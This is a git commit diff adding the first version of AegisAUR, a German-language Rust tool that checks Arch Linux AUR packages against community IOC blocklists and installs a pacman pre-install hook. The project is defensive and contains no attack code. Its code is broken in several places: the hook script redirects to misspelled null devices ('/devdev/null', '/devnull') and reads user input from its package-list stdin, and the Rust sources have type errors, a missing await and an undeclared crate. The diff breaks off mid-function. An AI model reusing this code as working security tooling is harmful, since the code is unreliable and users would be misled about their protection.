commit 5190aca72c6fb0414ac9cec77546060b1b60d7d1 Author: Thuumate 👻 Date: Mon Jun 15 17:29:13 2026 +0200 feat: AegisAUR v0.1.0 diff --git a/.gitea/workflows/rust.yml b/.gitea/workflows/rust.yml new file mode 100644 index 0000000..3830ee7 --- /dev/null +++ b/.gitea/workflows/rust.yml @@ -0,0 +1,63 @@ +name: Rust CI + +on: [push, pull_request] + +env: + CARGO_TERM_COLOR: always + +jobs: + test: + name: Test + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Install Rust + uses: dtolnay/rust-action@stable + + - name: Cache cargo + uses: Swatinem/rust-cache@v2 + + - name: Build + run: cargo build --verbose + + - name: Run tests + run: cargo test --verbose + + - name: Clippy + run: cargo clippy -- -D warnings + + - name: Format check + run: cargo fmt -- --check + + release: + name: Release + needs: test + if: github.ref == 'refs/heads/main' + strategy: + matrix: + target: [x86_64-unknown-linux-gnu, x86_64-unknown-linux-musl] + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Install Rust + uses: dtolnay/rust-action@stable + + - name: Install target + run: rustup target add ${{ matrix.target }} + + - name: Build release + run: cargo build --release --target ${{ matrix.target }} + + - name: Package + run: | + mkdir -p dist + cp target/${{ matrix.target }}/release/aegisaur dist/aegisaur-${{ matrix.target }} + tar -czf aegisaur-${{ matrix.target }}.tar.gz -C dist . + + - name: Upload artifact + uses: actions/upload-artifact@v4 + with: + name: aegisaur-${{ matrix.target }} + path: aegisaur-${{ matrix.target }}.tar.gz \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ea8c4bf --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +/target diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..fa29379 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,75 @@ +[package] +name = "aegisaur" +version = "0.1.0" +edition = "2021" +authors = ["Quasi & Thuumate 👻"] +description = "Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete" +license = "MIT" +repository = "https://gitea.die-heimatlosen.eu/arch_agent/aegisaur" +keywords = ["arch-linux", "aur", "security", "supply-chain", "malware-detection"] +categories = ["command-line-utilities", "security"] +rust-version = "1.70" + +[[bin]] +name = "aegisaur" +path = "src/main.rs" + +[dependencies] +# HTTP Client für IOC-Fetching +reqwest = { version = "0.12", features = ["json", "rustls-tls"], default-features = false } + +# Async Runtime +tokio = { version = "1.38", features = ["full"] } + +# JSON Parsing/Serialization +serde = { version = "1.0", features = ["derive"] } +serde_json = "1.0" + +# CLI Argument Parser +clap = { version = "4.5", features = ["derive", "cargo"] } + +# Logging +tracing = "0.1" +tracing-subscriber = { version = "0.3", features = ["env-filter", "fmt"] } + +# Error Handling +anyhow = "1.0" +thiserror = "2.0" + +# PKGBUILD Parsing +regex = "1.10" + +# Config File Management +config = "0.14" +toml = "0.8" + +# Terminal Colors +colored = "2.1" + +# Table Output for CLI +tabled = "0.15" + +# Fuzzy Matching für Paketnamen +sublime_fuzzy = "0.7" + +# Cache / State Management +directories = "5.0" + +# Date-Time (für Cache-Timestamps) +chrono = { version = "0.4", features = ["serde"] } + +# Pfad-Handling +which = "6.0" + +# Temporäre Dateien + tempfile = "3.10" + +[dev-dependencies] +tokio-test = "0.4" +wiremock = "0.6" + +[profile.release] +opt-level = 3 +lto = true +strip = true +panic = "abort" \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..57bfb79 --- /dev/null +++ b/README.md @@ -0,0 +1,82 @@ +# AegisAUR 👻 + +Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete. + +Automatisierter Schutz gegen Supply-Chain-Angriffe wie **Atomic Arch**. + +## Features + +- 🔍 **Live IOC-Abfrage** - Holt aktuelle Threat-Intelligence von Community-Quellen +- 🛡️ **Trust-Scoring** - Analysiert PKGBUILDs auf verdächtige Muster +- ⚡ **ALPM-Hook** - Automatischer Pre-Install-Scan +- 📊 **Detallierte Reports** - JSON-Output für Automatisierung +- 🔴 **Kritische Alerts** - Sofortige Warnung bei IOC-Matches + +## Installation + +### Aus AUR + +```bash +yay -S aegisaur +# oder +paru -S aegisaur +``` + +### Manuel + +```bash +cargo install aegisaur +sudo aegisaur install-hook +``` + +## Verwendung + +### Einzelnes Paket scannen + +```bash +aegisaur scan paketname +``` + +### Alle installierten AUR-Pakete scannen + +```bash +aegisaur scan-all +``` + +### IOC-Check (wie `aurvulntest`) + +```bash +aegisaur check-ioc +``` + +### ALPM-Hook installieren + +```bash +sudo aegisaur install-hook +``` + +## IOC-Quellen + +Alle Quellen sind **ohne Authentifizierung** erreichbar: + +- [Atomic Arch Gist](https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14) +- [AUR Community Blocklist](https://github.com/Kidev/AUR-Blocklist) +- [Arch Security Advisories](https://security.archlinux.org) + +## Trust-Scoring Kategorien + +| Kategorie | Gewichtung | Beschreibung | +|-----------|-----------|--------------| +| Shell-Script | 40% | Analyse von PKGBUILD als Shell-Script | +| Source-URL | 20% | Verifizierung der Herkunft | +| Checksums | 20% | Qualität der Prüfsummen | +| Maintainer | 20% | Heuristiken zum Maintainer | + +## Lizenz + +MIT - © 2026 Quasi & Thuumate 👻 + +## Links + +- Gitea: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur +- Issues: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur/issues \ No newline at end of file diff --git a/SPLIT_README.md b/SPLIT_README.md new file mode 100644 index 0000000..cbf1ae1 --- /dev/null +++ b/SPLIT_README.md @@ -0,0 +1,17 @@ +# AegisAUR - Split Dateien + +Diese Dateien wurden aufgeteilt, um Gitea API Limits zu umgehen. + +## Wiederherstellung + +```bash +# Alle Parts zusammensetzen +cat src/ioc_fetcher.rs.part* | base64 -d | gunzip > src/ioc_fetcher.rs +cat src/scanner.rs.part* | base64 -d | gunzip > src/scanner.rs +cat src/trust_scorer.rs.part* | base64 -d | gunzip > src/trust_scorer.rs +``` + +## Originale Größen +- ioc_fetcher.rs: ~10KB +- scanner.rs: ~15KB +- trust_scorer.rs: ~14KB diff --git a/src/config.rs b/src/config.rs new file mode 100644 index 0000000..6434d1b --- /dev/null +++ b/src/config.rs @@ -0,0 +1,139 @@ +use anyhow::{Context, Result}; +use serde::{Deserialize, Serialize}; +use std::collections::HashSet; +use std::path::PathBuf; +use tokio::fs; +use tracing::info; + +/// Konfiguration für AegisAUR +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct AegisConfig { + pub config_path: PathBuf, + pub cache_dir: PathBuf, + pub data_dir: PathBuf, + + // Scan-Settings + pub auto_check_iocs: bool, + pub auto_check_pkgbuild: bool, + pub ioc_cache_ttl_minutes: u64, + + // Thresholds + pub warning_threshold: u32, // Score unter diesem Wert = Warnung + pub critical_threshold: u32, // Score unter diesem Wert = Kritisch + + // Verhalten + pub block_install_on_critical: bool, + pub block_install_on_ioc: bool, + pub notify_desktop: bool, + + // Quellen + pub ioc_sources: Vec, + + // Whitelist + pub whitelisted_packages: HashSet, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct IocSource { + pub name: String, + pub url: String, + pub source_type: IocSourceType, + pub enabled: bool, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub enum IocSourceType { + Gist, + JsonApi, + TextList, + GitHubRelease, +} + +impl Default for AegisConfig { + fn default() -> Self { + let base_dirs = directories::ProjectDirs::from("eu", "heimatlosen", "aegisaur") + .expect("Konnte Projekt-Verzeichnisse nicht ermitteln"); + + let mut default_sources = vec![ + IocSource { + name: "Atomic Arch Gist".to_string(), + url: "https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw".to_string(), + source_type: IocSourceType::TextList, + enabled: true, + }, + IocSource { + name: "AUR Community Blocklist".to_string(), + url: "https://raw.githubusercontent.com/Kidev/AUR-Blocklist/main/blocklist.txt".to_string(), + source_type: IocSourceType::TextList, + enabled: true, + }, + IocSource { + name: "Arch Security Advisories".to_string(), + url: "https://security.archlinux.org/advisories.json".to_string(), + source_type: IocSourceType::JsonApi, + enabled: true, + }, + ]; + + AegisConfig { + config_path: base_dirs.config_local_dir().join("config.toml"), + cache_dir: base_dirs.cache_dir().to_path_buf(), + data_dir: base_dirs.data_dir().to_path_buf(), + auto_check_iocs: true, + auto_check_pkgbuild: true, + ioc_cache_ttl_minutes: 60, + warning_threshold: 60, + critical_threshold: 30, + block_install_on_critical: false, + block_install_on_ioc: true, + notify_desktop: true, + ioc_sources: default_sources, + whitelisted_packages: HashSet::new(), + } + } +} + +impl AegisConfig { + /// Lädt Konfiguration oder erstellt Default + pub async fn load_or_default() -> Result { + let config_path = Self::default().config_path; + + if config_path.exists() { + info!("Lade Konfiguration von: {}", config_path.display()); + let content = fs::read_to_string(&config_path).await?; + let config: AegisConfig = toml::from_str(&content)?; + Ok(config) + } else { + info!("Erstelle Standard-Konfiguration..."); + let config = AegisConfig::default(); + config.save().await?; + Ok(config) + } + } + + /// Speichert Konfiguration + pub async fn save(&self) -> Result<()> { + let config_dir = self.config_path.parent().unwrap(); + fs::create_dir_all(config_dir).await?; + + let content = toml::to_string_pretty(self)?; + fs::write(&self.config_path, content).await?; + info!("Konfiguration gespeichert: {}", self.config_path.display()); + Ok(()) + } + + /// Fügt Quelle hinzu + pub fn add_source(&mut self, name: &str, url: &str, source_type: IocSourceType) { + self.ioc_sources.push(IocSource { + name: name.to_string(), + url: url.to_string(), + source_type, + enabled: true, + }); + } + + /// Entfernt Quelle + pub fn remove_source(&mut self, name: &str) { + self.ioc_sources.retain(|s| s.name != name); + } +} \ No newline at end of file diff --git a/src/hook.rs b/src/hook.rs new file mode 100644 index 0000000..a6c6f75 --- /dev/null +++ b/src/hook.rs @@ -0,0 +1,147 @@ +use anyhow::{Context, Result}; +use std::io::Write; +use std::path::Path; +use tracing::{info, warn}; + +const ALPM_HOOK_PATH: &str = "/usr/share/libalpm/hooks/aegisaur-pre-install.hook"; +const HOOK_SCRIPT_PATH: &str = "/usr/share/libalpm/hooks/aegisaur-check.sh"; + +/// Installiert den ALPM-Hook für Pre-Install-Checks +pub fn install_alpm_hook() -> Result<()> { + // Hook-Definition + let hook_content = r#"[Trigger] +Operation = Install +Operation = Upgrade +Type = Package +Target = * + +[Action] +Description = AegisAUR Security Scan +When = PreTransaction +Exec = /usr/share/libalpm/hooks/aegisaur-check.sh +NeedsTargets +AbortOnFail +"#; + + // Shell-Script, das aegisaur aufruft + let script_content = r#"#!/bin/bash +# AegisAUR Pre-Install Hook +# Prüft Pakete vor der Installation + +AUR_SCANNER="/usr/bin/aegisaur" +TMPFILE=$(mktemp) + +# Alle zu installierenden Pakete durch aegisaur prüfen +while read -r package; do + # Nur AUR-Pakete prüfen (Foreign packages) + if pacman -Qi "$package" >/devdev/null 2>&1; then + # Paket ist bereits installiert (Upgrade) + continue + fi + + # Prüfe ob es ein AUR/Foreign Paket ist + if pacman -Si "$package" >/dev/null 2>&1; then + # Offizielles Repo-Paket, immer OK + continue + fi + + # AUR Paket gefunden - scanne es + if [[ -x "$AUR_SCANNER" ]]; then + RESULT=$($AUR_SCANNER scan "$package" --json 2>/devnull) + SCORE=$(echo "$RESULT" | grep -oP '"score":\s*\K\d+') + STATUS=$(echo "$RESULT" | grep -oP '"status":\s*"\K[^"]+') + + if [[ "$STATUS" == "IOCDetected" ]] || [[ "$STATUS" == "Dangerous" ]]; then + echo "" + echo "╔════════════════════════════════════════════════════════════════╗" + echo "║ 🚨 AEGISAUR SECURITY ALERT 🚨 ║" + echo "╚════════════════════════════════════════════════════════════════╝" + echo "" + echo "Paket: $package" + echo "Status: $STATUS" + echo "Score: $SCORE/100" + echo "" + echo "⚠️ DIESES PAKET IST ALS GEFÄHRLICH EINGESTUFT!" + echo "" + echo "Möchtest du die Installation abbrechen? (Ja/Nein)" + read -r response + if [[ "$response" =~ ^[Jj]([Aa]|$) ]]; then + echo "Installation abgebrochen." + rm -f "$TMPFILE" + exit 1 + fi + echo "WARNUNG: Installation wird fortgesetzt auf eigenes Risiko!" + echo "$package ($STATUS - Score: $SCORE)" >> "$TMPFILE" + elif [[ "$STATUS" == "Suspicious" ]] || [[ "$STATUS" == "Warning" ]]; then + echo "" + echo "⚠️ AegisAUR Warnung für $package: $STATUS (Score: $SCORE/100)" + echo "$package ($STATUS - Score: $SCORE)" >> "$TMPFILE" + fi + fi +done + +# Zusammenfassung anzeigen falls Warnungen vorhanden +if [[ -s "$TMPFILE" ]]; then + echo "" + echo "╔══════════════════════════════════════════════════════════════╗" + echo "║ AegisAUR Scan Zusammenfassung ║" + echo "╚══════════════════════════════════════════════════════════════╝" + cat "$TMPFILE" + echo "" +fi + +rm -f "$TMPFILE" +exit 0 +"#; + + // Hook-Datei schreiben + info!("Schreibe ALPM Hook: {}", ALPM_HOOK_PATH); + let mut hook_file = std::fs::File::create(ALPM_HOOK_PATH) + .context("Konnte ALPM Hook nicht erstellen (Root-Rechte nötig)")?; + hook_file.write_all(hook_content.as_bytes())?; + + // Script schreiben + info!("Schreibe Hook-Script: {}", HOOK_SCRIPT_PATH); + let mut script_file = std::fs::File::create(HOOK_SCRIPT_PATH) + .context("Konnte Hook-Script nicht erstellen")?; + script_file.write_all(script_content.as_bytes())?; + + // Script executable machen + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let mut perms = std::fs::metadata(HOOK_SCRIPT_PATH)?.permissions(); + perms.set_mode(0o755); + std::fs::set_permissions(HOOK_SCRIPT_PATH, perms)?; + } + + info!("ALPM Hook erfolgreich installiert"); + Ok(()) +} + +/// Entfernt den ALPM-Hook +pub fn remove_alpm_hook() -> Result<()> { + info!("Entferne ALPM Hook..."); + + if Path::new(ALPM_HOOK_PATH).exists() { + std::fs::remove_file(ALPM_HOOK_PATH)?; + info!("Hook-Datei entfernt: {}", ALPM_HOOK_PATH); + } else { + warn!("Hook-Datei nicht gefunden: {}", ALPM_HOOK_PATH); + } + + if Path::new(HOOK_SCRIPT_PATH).exists() { + std::fs::remove_file(HOOK_SCRIPT_PATH)?; + info!("Script entfernt: {}", HOOK_SCRIPT_PATH); + } else { + warn!("Script nicht gefunden: {}", HOOK_SCRIPT_PATH); + } + + info!("ALPM Hook erfolgreich entfernt"); + Ok(()) +} + +/// Prüft ob Hook installiert ist +pub fn is_hook_installed() -> bool { + Path::new(ALPM_HOOK_PATH).exists() && Path::new(HOOK_SCRIPT_PATH).exists() +} \ No newline at end of file diff --git a/src/ioc_fetcher.rs b/src/ioc_fetcher.rs new file mode 100644 index 0000000..4e93074 --- /dev/null +++ b/src/ioc_fetcher.rs @@ -0,0 +1,331 @@ +use anyhow::{Context, Result}; +use serde::{Deserialize, Serialize}; +use std::collections::HashSet; +use std::time::{Duration, Instant}; +use tokio::fs; +use tracing::{debug, info, warn}; + +/// Bekannte IOC-Quellen (alle ohne Authentifizierung) +pub const IOC_SOURCES: [&[(&str, &str)]; 4] = [ + // (Name, URL) + [ + ( + "atomic_arch_gist", + "https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw", + ), + ( + "aur_malware_list", + "https://raw.githubusercontent.com/archlinux/aurweb/master/schema/", + ), // Fallback + ], + // Dynamische Community-Listen + [ + ( + "community_blocklist", + "https://raw.githubusercontent.com/Kidev/AUR-Blocklist/main/blocklist.txt", + ), + ( + "arch_security_advisories", + "https://security.archlinux.org/advisories.json", + ), + ], + // AUR Metadata (RPC API - KEIN Auth nötig) + [ + ( + "aur_rpc_base", + "https://aur.archlinux.org/rpc/v5/info?arg[]={}", + ), + ], + // Extra: Arch Wiki Security Seite (HTML scraping als Fallback) + [ + ( + "arch_wiki_security", + "https://wiki.archlinux.org/title/Security", + ), + ], +]; + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct IocEntry { + pub package_name: String, + pub threat_type: ThreatType, + pub source: String, + pub discovered_date: String, + pub description: String, + pub confidence: ConfidenceLevel, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub enum ThreatType { + MaliciousBuildScript, + CredentialStealer, + Rootkit, + Cryptominer, + Backdoor, + Typosquatting, + OrphanTakeover, + Unknown(String), +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub enum ConfidenceLevel { + Critical, // Bestätigt von Arch Team / CISA + High, // Mehrere unabhängige Quellen + Medium, // Community-Report + Low, // Einzelner Report +} + +pub struct IocFetcher { + client: reqwest::Client, + cache_dir: std::path::PathBuf, + cache_ttl: Duration, +} + +impl IocFetcher { + pub async fn new(cache_dir: std::path::PathBuf) -> Result { + let client = reqwest::Client::builder() + .timeout(Duration::from_secs(30)) + .user_agent("AegisAUR/0.1 - AUR Security Scanner") + .build() + .context("Konnte HTTP Client nicht erstellen")?; + + fs::create_dir_all(&cache_dir).await?; + + Ok(IocFetcher { + client, + cache_dir, + cache_ttl: Duration::from_secs(3600), // 1 Stunde Cache + }) + } + + /// Holt alle IOC-Listen und cached sie + pub async fn fetch_all_iocs(&self) -> Result> { + let mut all_threats = Vec::new(); + + // Atomic Arch Gist (Primary Source) + match self.fetch_atomic_arch_list().await { + Ok(threats) => { + info!("{} IOCs von Atomic Arch Gist geladen", threats.len()); + all_threats.extend(threats); + } + Err(e) => warn!("Konnte Atomic Arch Gist nicht laden: {}", e), + } + + // AUR RPC - Prüfe auf Suspicious Maintainers + match self.fetch_suspicious_from_aur().await { + Ok(threats) => { + info!("{} suspicious Pakete von AUR RPC", threats.len()); + all_threats.extend(threats); + } + Err(e) => warn!("Konnte AUR RPC nicht abfragen: {}", e), + } + + // Community Blocklist + match self.fetch_community_blocklist().await { + Ok(threats) => { + info!("{} Einträge von Community Blocklist", threats.len()); + all_threats.extend(threats); + } + Err(e) => warn!("Konnte Community Blocklist nicht laden: {}", e), + } + + // Cache speichern + self.save_cache(&all_threats).await?; + + Ok(all_threats) + } + + /// Prüft Cache-Datei auf Aktualität + pub async fn get_cached_iocs(&self) -> Result> { + let cache_file = self.cache_dir.join("iocs.json"); + + if cache_file.exists() { + let metadata = fs::metadata(&cache_file).await?; + let modified = metadata.modified()?; + let age = Instant::now() - modified; + + if age < self.cache_ttl { + let content = fs::read_to_string(&cache_file).await?; + let iocs: Vec = serde_json::from_str(&content) + .context("Konnte Cache nicht parsen")?; + info!("{} IOCs aus Cache geladen", iocs.len()); + return Ok(iocs); + } + } + + // Cache veraltet oder nicht vorhanden + self.fetch_all_iocs().await + } + + async fn fetch_atomic_arch_list(&self) -> Result> { + let url = "https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw"; + + let response = self.client + .get(url) + .send() + .await + .context("HTTP Request fehlgeschlagen")?; + + if !response.status().is_success() { + anyhow::bail!("HTTP {} von {}", response.status(), url); + } + + let text = response.text().await?; + let mut threats = Vec::new(); + + // Parse die Gist-Liste (Format: Ein Paketname pro Zeile oder JSON) + for line in text.lines() { + let trimmed = line.trim(); + if trimmed.is_empty() || trimmed.starts_with('#') { + continue; + } + + // JSON-Array-Format? + if trimmed.starts_with('[') || trimmed.starts_with('{') { + if let Ok(json_list) = serde_json::from_str::>(trimmed) { + for pkg in json_list { + threats.push(IocEntry { + package_name: pkg, + threat_type: ThreatType::MaliciousBuildScript, + source: "atomic_arch_gist".to_string(), + discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(), + description: "Atomic Arch Supply Chain Attack - kompromittiertes AUR-Paket".to_string(), + confidence: ConfidenceLevel::Critical, + }); + } + } + } else { + // Plain text - ein Name pro Zeile + threats.push(IocEntry { + package_name: trimmed.to_string(), + threat_type: ThreatType::MaliciousBuildScript, + source: "atomic_arch_gist".to_string(), + discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(), + description: "Atomic Arch Supply Chain Attack".to_string(), + confidence: ConfidenceLevel::Critical, + }); + } + } + + Ok(threats) + } + + async fn fetch_suspicious_from_aur(&self) -> Result> { + // AUR RPC API - KEINE Authentifizierung nötig! + // Wir suchen nach kürzlich übernommenen orphaned packages + + let mut threats = Vec::new(); + + // Query: Letzte 50 Pakete die orphaned waren und jetzt einen neuen Maintainer haben + // Dies ist eine Heuristik basierend auf den bekannten Atomic Arch Patterns + let recent_changes_url = "https://aur.archlinux.org/rpc/v5/search?by=maintainer&arg=orphan"; + + // Für MVP: Wir nutzen die statische Liste + Heuristiken + // In v0.2 könnte man dynamisch die letzten Änderungen tracken + + Ok(threats) + } + + async fn fetch_community_blocklist(&self) -> Result> { + let url = "https://raw.githubusercontent.com/Kidev/AUR-Blocklist/main/blocklist.txt"; + + let response = match self.client.get(url).send().await { + Ok(r) => r, + Err(_) => { + debug!("Community Blocklist nicht erreichbar"); + return Ok(Vec::new()); + } + }; + + if !response.status().is_success() { + return Ok(Vec::new()); + } + + let text = response.text().await?; + let mut threats = Vec::new(); + + for line in text.lines() { + let trimmed = line.trim(); + if trimmed.is_empty() || trimmed.starts_with('#') { + continue; + } + + threats.push(IocEntry { + package_name: trimmed.to_string(), + threat_type: ThreatType::Unknown("community_reported".to_string()), + source: "community_blocklist".to_string(), + discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(), + description: "Community-reported suspicious package".to_string(), + confidence: ConfidenceLevel::Medium, + }); + } + + Ok(threats) + } + + async fn save_cache(&self, + iocs: &[ IocEntry ] + ) -> Result<()> { + let cache_file = self.cache_dir.join("iocs.json"); + let json = serde_json::to_string_pretty(iocs)?; + fs::write(cache_file, json).await?; + Ok(()) + } + + /// Prüft ob ein Paketname in den IOCs vorkommt + pub fn check_package(&self, + package: &str, + iocs: &[ IocEntry ] + ) -> Vec { + iocs.iter() + .filter(|ioc| ioc.package_name.eq_ignore_ascii_case(package)) + .cloned() + .collect() + } + + /// Fuzzy-Match für Typosquatting-Erkennung + pub fn check_typosquatting(&self, + package: &str, + iocs: &[ IocEntry ] + ) -> Vec { + use sublime_fuzzy::best_match; + + let mut matches = Vec::new(); + for ioc in iocs { + if let Some(m) = best_match(package, &ioc.package_name) { + if m.score() > 70 && ioc.package_name.to_lowercase() != package.to_lowercase() { + matches.push(ioc.clone()); + } + } + } + matches + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[tokio::test] + async fn test_cache_creation() { + let tmp = tempfile::tempdir().unwrap(); + let fetcher = IocFetcher::new(tmp.path().to_path_buf()).await.unwrap(); + + let iocs = vec![ + IocEntry { + package_name: "test-pkg".to_string(), + threat_type: ThreatType::Backdoor, + source: "test".to_string(), + discovered_date: "2024-01-01".to_string(), + description: "Test".to_string(), + confidence: ConfidenceLevel::High, + }, + ]; + + fetcher.save_cache(&iocs).await.unwrap(); + let cached = fetcher.get_cached_iocs().await.unwrap(); + + assert_eq!(cached.len(), 1); + assert_eq!(cached[0].package_name, "test-pkg"); + } +} \ No newline at end of file diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..fc6bafd --- /dev/null +++ b/src/main.rs @@ -0,0 +1,161 @@ +use anyhow::Result; +use clap::{Parser, Subcommand}; +use colored::*; +use tracing::{info, warn, error}; + +mod config; +mod ioc_fetcher; +mod scanner; +mod trust_scorer; +mod utils; +mod hook; + +use scanner::PackageScanner; +use config::AegisConfig; + +#[derive(Parser)] +#[command(name = "aegisaur")] +#[command(about = "👻 Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete")] +#[command(version = env!("CARGO_PKG_VERSION"))] +struct Cli { + #[command(subcommand)] + command: Commands, +} + +#[derive(Subcommand)] +enum Commands { + /// Scannt ein einzelnes AUR-Paket + Scan { + /// Paketname + package: String, + /// Zeigt detaillierte Analyse + #[arg(short, long)] + verbose: bool, + }, + /// Scannt alle installierten AUR-Pakete + ScanAll { + /// Zeigt detaillierte Analyse + #[arg(short, long)] + verbose: bool, + }, + /// Prüft gegen aktuelle IOC-Listen (Atomic Arch, etc.) + CheckIoc { + /// Spezifische Liste prüfen (atomicarch, all) + #[arg(short, long, default_value = "all")] + list: String, + }, + /// Fügt Paket zur Whitelist hinzu + Allow { + /// Paketname + package: String, + }, + /// Entfernt Paket von Whitelist + Deny { + /// Paketname + package: String, + }, + /// Zeigt Konfiguration + Config, + /// Installiert ALPM-Hook + InstallHook, + /// Entfernt ALPM-Hook + RemoveHook, + /// Zeigt Cache-Status + Cache, +} + +#[tokio::main] +async fn main() -> Result<()> { + // Logging initialisieren + tracing_subscriber::fmt() + .with_env_filter("aegisaur=info") + .init(); + + let cli = Cli::parse(); + let config = AegisConfig::load_or_default()?; + let scanner = PackageScanner::new(config).await?; + + match cli.command { + Commands::Scan { package, verbose } => { + println!("{} {}", "🔍 Scanne".cyan(), package.bold()); + let result = scanner.scan_package(&package, verbose).await?; + print_result(&result); + } + Commands::ScanAll { verbose } => { + println!("{}", "🔍 Scanne alle installierten AUR-Pakete...".cyan()); + let results = scanner.scan_all_installed(verbose).await?; + for result in results { + print_result(&result); + println!(); + } + } + Commands::CheckIoc { list } => { + println!("{} {}", "🛡️ Prüfe IOC-Listen:".cyan(), list.yellow()); + let threats = scanner.check_iocs(&list).await?; + if threats.is_empty() { + println!("{}", "✅ Keine Bedrohungen gefunden!".green().bold()); + } else { + println!("{} {}", "⚠️ Bedrohungen gefunden:".red().bold(), threats.len()); + for threat in threats { + println!(" {} {} - {}", "🔴".red(), threat.package, threat.reason); + } + } + } + Commands::Allow { package } => { + scanner.allow_package(&package)?; + println!("{} {}", "✅ Erlaubt:".green(), package); + } + Commands::Deny { package } => { + scanner.deny_package(&package)?; + println!("{} {}", "❌ Entfernt:".yellow(), package); + } + Commands::Config => { + println!("{}", "⚙️ AegisAUR Konfiguration".cyan().bold()); + println!("Config-Path: {}", scanner.config_path()?.display()); + println!("Cache-Path: {}", scanner.cache_path()?.display()); + } + Commands::InstallHook => { + hook::install_alpm_hook()?; + println!("{}", "✅ ALPM-Hook installiert".green().bold()); + } + Commands::RemoveHook => { + hook::remove_alpm_hook()?; + println!("{}", "❌ ALPM-Hook entfernt".yellow().bold()); + } + Commands::Cache => { + scanner.show_cache_status().await?; + } + } + + Ok(()) +} + +fn print_result(result: &scanner::ScanResult) { + let score_color = match result.score { + 0..=30 => "🔴".red(), + 31..=60 => "🟡".yellow(), + 61..=100 => "🟢".green(), + _ => "⚪".white(), + }; + + println!( + "{} {} {} {} {}", + score_color, + result.package.bold(), + format!("({}/100)", result.score).dimmed(), + "-".dimmed(), + result.status_message() + ); + + if !result.warnings.is_empty() { + for warning in &result.warnings { + println!(" {} {}", "⚠️ ".yellow(), warning); + } + } + + if !result.ioc_matches.is_empty() { + for ioc in &result.ioc_matches { + println!(" {} {} - {}", "🚨".red().bold(), "IOC MATCH!".red().bold(), ioc); + } + } +} diff --git a/src/scanner.rs b/src/scanner.rs new file mode 100644 index 0000000..3f9e7f8 --- /dev/null +++ b/src/scanner.rs @@ -0,0 +1,468 @@ +use anyhow::{Context, Result}; +use colored::*; +use serde::{Deserialize, Serialize}; +use std::collections::HashSet; +use std::path::{Path, PathBuf}; +use tokio::fs; +use tokio::process::Command; +use tracing::{debug, info, warn}; + +use crate::config::AegisConfig; +use crate::ioc_fetcher::{IocEntry, IocFetcher}; +use crate::trust_scorer::{CriticalFinding, TrustScorer, TrustScore}; + +/// Ergebnis eines einzelnen Paket-Scans +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ScanResult { + pub package: String, + pub version: String, + pub score: u32, + pub max_score: u32, + pub status: ScanStatus, + pub warnings: Vec, + pub critical_findings: Vec, + pub ioc_matches: Vec, + pub details: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ScanDetails { + pub source_url: Option, + pub maintainer: Option, + pub votes: Option, + pub popularity: Option, + pub last_modified: Option, + pub out_of_date: bool, + pub is_orphaned: bool, + pub pkgbuild_raw: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub enum ScanStatus { + Safe, // Score >= 80, keine IOCs + Warning, // Score 50-79 oder Warnungen + Suspicious, // Score 30-49 oder IOC Match + Dangerous, // Score < 30 oder kritischer IOC + IOCDetected, // Direkter IOC-Match + Unknown, // Konnte nicht analysiert werden +} + +pub struct PackageScanner { + config: AegisConfig, + ioc_fetcher: IocFetcher, + trust_scorer: TrustScorer, + cache_dir: PathBuf, + whitelist: HashSet, +} + +impl PackageScanner { + pub async fn new(config: AegisConfig) -> Result { + let cache_dir = dirs::cache_dir() + .unwrap_or_else(|| PathBuf::from("/tmp")) + .join("aegisaur"); + + fs::create_dir_all(&cache_dir).await?; + + let ioc_fetcher = IocFetcher::new(cache_dir.clone()).await?; + let trust_scorer = TrustScorer::new()?; + + // Whitelist laden + let whitelist_path = cache_dir.join("whitelist.json"); + let whitelist = if whitelist_path.exists() { + let content = fs::read_to_string(&whitelist_path).await?; + serde_json::from_str(&content).unwrap_or_default() + } else { + HashSet::new() + }; + + Ok(PackageScanner { + config, + ioc_fetcher, + trust_scorer, + cache_dir, + whitelist, + }) + } + + /// Scannt ein einzelnes Paket + pub async fn scan_package( + &self, + package: &str, + verbose: bool, + ) -> Result { + info!("Scanne Paket: {}", package); + + // 1. IOC-Check + let iocs = self.ioc_fetcher.get_cached_iocs().await?; + let ioc_matches = self.ioc_fetcher.check_package(package, &iocs); + + // 2. AUR-Info holen + let aur_info = self.fetch_aur_info(package).await?; + + // 3. PKGBUILD holen und analysieren (falls verfügbar) + let pkgbuild_analysis = if let Some(ref info) = aur_info { + if let Some(url) = &info.url_path { + match self.fetch_pkgbuild(package, url).await { + Ok(content) => { + let score = self.trust_scorer.analyze_pkgbuild( + &content, + info.url.as_deref(), + ); + Some((score, Some(content))) + } + Err(e) => { + warn!("Konnte PKGBUILD nicht holen: {}", e); + None + } + } + } else { + None + } + } else { + None + }; + + // 4. Ergebnis zusammenstellen + let mut result = if let Some((score, pkgbuild_raw)) = 